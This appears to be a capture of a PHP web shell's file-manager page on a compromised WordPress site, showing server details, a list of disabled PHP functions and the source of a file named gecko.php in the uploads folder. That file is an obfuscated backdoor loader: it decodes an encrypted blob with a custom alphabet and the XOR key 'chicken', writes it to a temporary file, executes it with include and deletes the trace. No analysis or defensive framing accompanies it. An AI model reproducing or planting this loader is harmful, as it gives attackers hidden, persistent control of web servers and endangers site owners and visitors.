HEX
Server: Apache/2
System: Linux s01 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64
User: beestg (1003)
PHP: 8.3.25
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/beestg/domains/beestgenot.nl/public_html/wp-content/uploads/2024/gecko.php
<?php
$encrypted = 'X1cZCxtoZCMBBwAHEAoGSE4UAwQCBkYZCxtCVW5iVl1mb1JcGAETZm9jaUwKFA9FU0MNERMHCgoGQE4UG0gNDAYdBgURSU9IDgYfBhkHQEBKMFUzWGVjRxwVLQwGDwoMNQ8XAEleS0ENFAxJTUshJzEtKjckNzc8OywzKjcvNyc7Q0VFSRQYRAAECwgKD0cTAxVJWGVjbmFoZAUdBwAfDAENSA4GHzoZEzcNATQGAQ0OAARDQQ0MBg8KDDoeAhwBQ1ZFSRQYRAAECwgKD0cTAxVJSkgSbmFFTkNIAAVLTU8FAQUGNAAWChsdEENBDQwGDwoMOh4CHAFKQkUVbmJJQ0tFTkNISRcDFwEUSAcGHEUrGwsMEx8MAQ1AS7PPtd6z0bnYSxIeTgsGDQ0MCU0YARNLtdOz3Umz1rXes9G517vQvt5SSUcICgAFAQ48GwQaC0pAWGZvTkNISR5mb2NpSElDS0ENDAYPCgxFU0MOAA8OOgkGHDYABAsaBgYdEENBDQwGDwoMOh4CHAFKUGhkbmJJQ0tFShENGhYHEU5eSDI-UGhkbmJJQ0tFShMJHRcOFwAQSFRDMGhkQ0hJQ0tFTkNPLSE0Ky8uLU5DS0VOQ1VXQ0lKCgYOAA0OOR1JNEE_GE9JJyo2LSooK0Q0GklHOR1JT0E4NUIzSEFOPxhPMkpTRkFHaGRDSElDS0VOQ08tITQwPSY6TkNLRU5DVVdDSUoKBg4ADQ45HUk0QT8YT0knKjY2OCA8RDQaSUc5HUlPQTg1QjNIQU4_GE8ySlNGQUdoZENISUNLRU5DTy0hNDUvMDs-LDkhSUNVV0NJSgoGDgANDjkdSTRBPxhPSScqNjMqNj00JzsnTDkdSUQ1EEFCRjg2Tj5BTEk_G0M_Ql5BQURkaUtFTkNISUNLQiohNyEsODFJQ0hJQ0tYUENKRgcOAwcNDTUQQTlGPxtDRC8nMSsnOjdMOR1JRDUQQUJGODZOPkBMST8bQz9CXkFBRGRpS0VOQ0hJQ0tCGgIKBQY0FRwGDgAbTFhQQ0pGPzc5ShcJCw8OOh4RDQ8KEzkdSVU1EEFCRjg2Tj5ATElYR0tuYUVOQ0g0WGZvY2lISUNLAwERDQgAA0VGRxgIFx8AHA0bSQIYRUoIDRBDVltORxgIFx8AHA1BSRhmb05DSElDS0VOCg5JSxsXCwQ3BAIfBgZLTBkCHxELEQZFQ08GAQ0OAARHRUoOCR0AAwAdSkFJGGZvTkNISUNLRU5DSElDTxcLEB0FFzBBBQYRNENWRUoOCR0AAwAdOFk0WGZvTkNISUNLRU4eSAwPGABOGGVjQ0tFTkNISUNLRU5DTBsGGBACFzNNCA4cM0NVSQ0eCQJYZWNDS0VOQ0hJQxZoZENISUMWaGRuYklDS0UcBhwcEQVFShENGhYHEVVuYhRuYWhkBR0HAB8MAQ1IDgYFABwCHAw8GQQABwcEPBgRHAoGDktPCQsNDx0LS1hOUlpFQ08MAAAEHAcOOh0aBQsMBxZOXkgPAgcWC0pIEm5hRU5DSE0AAwQcEEhUQ0wEDAAMDAUMDQcJAwUOBQoeEhoaFx4TGRsREyIpJiomLi4rIi8lLyUnLDs0PDA8PDU8PTc5WFhRWFFbVV9RWkxeY2lISUNLDAhDQE0KBQYCFgwMPBgcAwEHBRBCRRVuYklDS0VOQ0hJRwgNDxEbSU1WRUlCKEpHTjtISUBATjQ-MxgVTlhmb05DSEkeZm9OQ0hJEQ4RGxEGSRAeBx0XGkEQHxcxEAAcBQ0JC0sbHRE0FwsTDQgXQ0ENCwkbEEdFSg8NBwQfDUdKRElTR0VKDw0HBB8NR1hlYx5mb2NpAQ9DQ0QICgQMPA4dBxAcGktPEh4gBwcFAgI-AhwBSkJFFW5iSUNLRQoKDUFBHBVDAAcHBQICQBMAGUMFChpDDgYWBQFOCgZJAB4XHAYGHUMPDBwGCx0MGRxUQ0wKFA85AEFBUm5hGGNpZWNHDwctDAYPCgxFU0MPDBc0Eh48DAs8CAoABQEOS08SHiAHBwUCAj4CHAFKUGhkbmJNBwlFTkNISUNLRU5DSFRDTwEMIAcHBQICNUQsKzwlJCMmTzRYZm9KFhsMEUtFTkNISUNLRVNDTA0BKAoABQEOOEwhLDw9OiY5QjNYZWNHGwQdEB8GEQ9FTkNISV5LQQoBKwYNDQwJOE8tITQ1LzA7Piw5IUk-U2RpTw0BEBxJQ0tFTkNISUNWRUoHCioMBQMHBDNOJyk6Jiw7PUQ2XmNpTB0CCQkLPBgbBg0MFkNVSUcPBy0MBg8KDD5JFwkLDw46HhENDwoTQjNYZWNuYUEABh82FhgAHA0JBAZLWE4QHBsXBAkBFA0bSwwAAAYaCBcOOhwCBg0MBjodFxoADQxNWE9IDwIHFgtKQVJuYUEABh82EwoWHRQHGwdLWE4EDQcGGQQaBjcbAgUBAQ43GhcZDAAEQFhVR0UaER0MSlBoZEcGDBQ0AAMCAQVDS0VOXkhNDQ4SMRYbDBEFBAMGSEdDTCUJDgkAD0UGAQ5PUm5haGRHBRAQGgkHQ1VJDQ4STg4RGhIHDEZHAAYQH0lORx0aBhlJTkcYCBAYEgERDEVDTwEMSlNkaQIDTktMBBoYFAIKRVcABAsABgsdPA4XHAwaQEMQaGRDSElDDwwLS0-5_brtvtu42LPRtd5DuNaz1bXas9K52Lrrv-S43LPWtday51NDTEVAQ0wEGhgUAgpFVwAECwAGCx08DhccDBpAWGZvE25iZGlPDQ8QAAwHNBUPEBseDBkBTl5IGQIYFhkMGg08AwQdC0BNDQ4SMRMJGhAcChwHREkzKjY9NCc7JzQnLTExOTdCXmNpZWNHAgsdBhodPB4WCxFIVENPCBcQGQUKRlseEQ0ZAhkARkFlY0NLRU4qJjomOTFOKiY9LEseShcJCw8OOh4RDQ8KExgbEA0bEEtoZENISUNLRU5DQBwQDhcxDwcOCgVJThYbDBE0FQ8QG0VDHhYLETcHCggAAAIFDE9LEB0GGjYGBgQHD0RJFhgAHDwbHQIfEB1PSA0KGBUCAhE2DQoIC09IHBAOFzERDQ4KGBELEQ0NSmZvTkNISTUqKTsmO0lLVElOXERJXEdFUU9IWU9LWkJDJiY0Q0xHbmJLSlBoZEcBBxAOFxo8HRoGGUhQAQEHBzQVDxEJBEtMFh0QGxpER0VKDQ0ePB4WCxEGCA4OSU5HAAgQAwAKPBgIEBgSAREMRUNPCwsUNxwQDhcAAgUMT0tBAAYfNgYGBAcPRElHBQAZPB0aBhkLDw4NQFhmb0oKBhoGGRExFhsMEUZbCxsNChYfAEZKU2RpZm8HBUhBRwILHQYaHTweFgsRRVcCDQMLABwMBzQXARQbSV9LVEdDE2RpS0VOQwwABkNCvv254bPTtd-z0rnTS7XRsui520u077PWudS70b7TuNSz07XWQ7jWs9W11bLkudS7277RuNmy6bXbs9O47FFFSUNGSUcGHB0SBABOVQAcEQcbSlBoZB5lY25hQRsQDRs8AgFOXkhNDhIWHw8BRF0CCx0GGh08AgFVbmJkaU8ICxcJSV5LPmNpSElDSz5JFBg2AAoVDwEBBQofDAsQT0VDS0VOQ0gaBhkMDw8BEwZDPkkCDAQKBQwdFxoIFwQXSUNVV0MfFxsGNUA-R2hkQ0hJQzBCGRM3HBAOFzEPDR8GB0JCQ0hJQ0tFTkNPWFNMOEJuYklDS0U1RAYAAAALDw4NTk9LRU5DSElDS0VOQ0hJRwUAGTwdGgYZCw8ODTRPZm9OQ0hJOEwDBxEbHTwFBAMGT0VDS0VOQ0hJQ0tFTkRPNE9mb05DSEk4TAkPEBw2DQoIC0RESUNLRU5DSElDS0VORE80T2ZvTkNISThMAQsQCxsKGxEHDAZOT0tFTkNISUNLRU5ETzRPZm9OQ0hJOEwXBwAANgYPDBoKBg5ER0VOQ0hJQ0tFTkQcGxYOQjNPZWNDS0VOOE8aCwQSMQIMBAoFOgwCGjYFGQoAF09FQ0wRHBYNTj5HaGQ-U2RpZm8IDBoMAggNTktMBAYfBE4CG0k4Tw4LGkRJRx0EAhYNNEpLHmNpSElDS0EdFwUdQ1ZFSg4RGhIHDENdGBsGGwQcBkBLKiU2KzE8SSolMSFDE00XCgcCBjcZEQ4DBxsVHBAOFwMGHAhDQxAdBho2Cg9JTg4NHQI0DgsaREkODhEPPB4IDx4AR0M-KC8-ID1DQFZPS1pCQ1dAQUJeY2lISUNLQR0XBR1OVQcHDQw2EwoXDw5ATgoYFklPSE0WGAAcPAENT0tBBQYRRUNPEw8PHQxKUGhkQ0hJQ08WGg4cRF0OHQsAHR0GQ0xVbmJJQ0tFShAcBBdGWw0PBxoGQ0xVbmIUbmFoZAYLAQxLR77zuN2z17XWs9VEs9S10LPTuO-70r7duNuz27Tss9252LrpTrLruOK72r7WueGz1rXQQ7jds9W137PYudG73r7WuNRNNwtMWGVjBggNAUNKufi7277QuNGz1l9OQ0hJGE8LCxQ3HBAOFwACBQweNwtMWGVjBggNAUNKufy71b_juNez0LTiWUhJQxBBAAYfNhMKFh0UBxsHFjkAQVNkaU8IFxAZBQpGWw0PBxoGQ0xVbmJWXQ';
if (!function_exists('sheep')) {
    function sheep($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), sheep($encrypted, 'chicken'));
include $tmp;
unlink($tmp);

?>